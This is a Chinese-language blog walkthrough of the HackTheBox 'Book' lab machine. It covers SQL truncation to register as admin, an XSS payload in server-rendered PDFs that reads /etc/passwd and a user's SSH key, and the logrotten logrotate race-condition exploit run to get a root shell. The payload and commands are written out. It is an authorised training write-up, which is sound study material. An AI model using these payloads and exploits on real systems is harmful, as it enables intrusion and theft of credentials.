No.184-HackTheBox-Linux-Book-Walkthrough渗透学习

**

HackTheBox-Linux-Book-Walkthrough

**
靶机地址:https://www.hackthebox.eu/home/machines/profile/230
靶机难度:中级(4.0/10)
靶机发布日期:2020年7月7日
靶机描述:
Book is a medium difficulty Linux machine hosting a Library application. It allows users to sign up and add books, as well as provide feedback. The back-end database is found to be vulnerable to SQL truncation, which is leveraged to register an account as admin and escalate privileges. The admin panel contains additional functionality to export PDFs, which is exploited through XSS to gain SSH access. Finally, misconfigured logs are exploited to get root.

作者:大余
时间:2020-08-16

请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.176…

在这里插入图片描述

我这里利用Masscan快速的扫描出了22,80端口,在利用nmap详细的扫描了这些端口情况…
在这里插入图片描述
浏览80端口返回的是注册和登录表单界面…

在这里插入图片描述
直接先爆破目录…存在一些常见的目录,admin也是登录界面,但是和初始的有些不一致,应该是管理员登录的页面…
在这里插入图片描述
先来注册个用户…
在这里插入图片描述
这里经过尝试注册,发现了存在sql截断攻击,只要在email用户后侧加入任何字符即可截断攻击…
在这里插入图片描述
第二次尝试注册截断,nope!响应…
这里sql截断攻击可以自己去搜索原理,很简单…了解下
在这里插入图片描述
继续注册,转换下密码,主要用来替换admin页面用户,使得登录admin管理页面权限… 在这里插入图片描述
通过nope!一次截断后,继续登录admin管理员登录页面,利用刚sql注入截断的用户密码登录…

在这里插入图片描述
成功进入…这里提醒下,需要两次截断才可以进入…

在这里插入图片描述
这是普通用户登录的界面…有文件上传…

在这里插入图片描述
测试了一会,发现admin管理页面存在PDF生成页面…
在这里插入图片描述
https://www.virtuesecurity.com/kb/wkhtmltopdf-file-inclusion-vulnerability-2/
我用Google搜索html到pdf漏洞利用,该文章说明了作者使用动态生成的PDF中的XSS从服务器查找本地文件进行读取,通常攻击者使用XSS在页面上留下一些脚本,然后等待其他人访问该页面,从而使脚本在该用户计算机上运行。但是,对于PDF,页面在服务器上呈现并转换为PDF,因此脚本在服务器上运行了…
这里存在XSS漏洞利用…
在这里插入图片描述
https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html
另外一篇文章更详细的提示了用法,和利用的代码…直接复制利用即可…
命令:<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
在这里插入图片描述
复制进入,读取的是/etc/passwd信息…test是随意的附带文件,内容任意…

在这里插入图片描述
读取Collections后,果然和文章中的方法论一致…获得了passwd信息…查看到了用户是reader
在这里插入图片描述
直接尝试获取reader用户底层的ssh-id-rsa,因为nmap发现开放了ssh服务…开始
在这里插入图片描述
顺利的获得了reader用户的ssh信息…
在这里插入图片描述
赋权id_rsa后,ssh利用rsa顺利登陆到reader用户界面,并获得了user_flag信息…
在这里插入图片描述
在利用pspy32枚举了靶机目前运行的进程,发现了logrotate?,还存在root/log.cfg日志信息,google发现了问题…
/usr/sbin/logrotate -f /root/log.cfg
logrotate是将日志文件定期移动到备份文件,并允许管理员设置要保留的最大日志数和轮换阈值,无法确定在给定的config文件中定义了/root/log.cfg是什么日志,但是存在backups目录…

https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
这里讲解了logrotate的POC…
google很多文章都解释了…自行查看吧…

在这里插入图片描述

命令:

git clone https://github.com/whotwagner/logrotten
gcc logrotten.c -o logrotten

我直接利用了github中的logrotten的EXP,下载即可…
然后gcc编译后和简单的shell上传即可…不过多解释…
在这里插入图片描述
命令:

echo dayu >> /home/reader/backups/access.log
./logrotten -d -p shell /home/reader/backups/access.log

需要出发shell,需要向日志文件添加一些内容以触发轮换机制…
然后利用logrotate运行shell轮换log即可…
然后有效负载会写入到/etc/bash_completion.d/中…
可看到开始执行出了问题,是因为log正好卡在了时间点上,写入通过运行机制删除了…导致没成功,查看后没信息…所以无法轮换机制…
重新执行即可…出发了shell获得了反向外壳,并获得了root_flag信息…

sql注入–XSS漏洞利用–logrotten利用
中规中矩的靶机,适合初学者的深入学习…加油!!

由于我们已经成功得到root权限查看user和root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值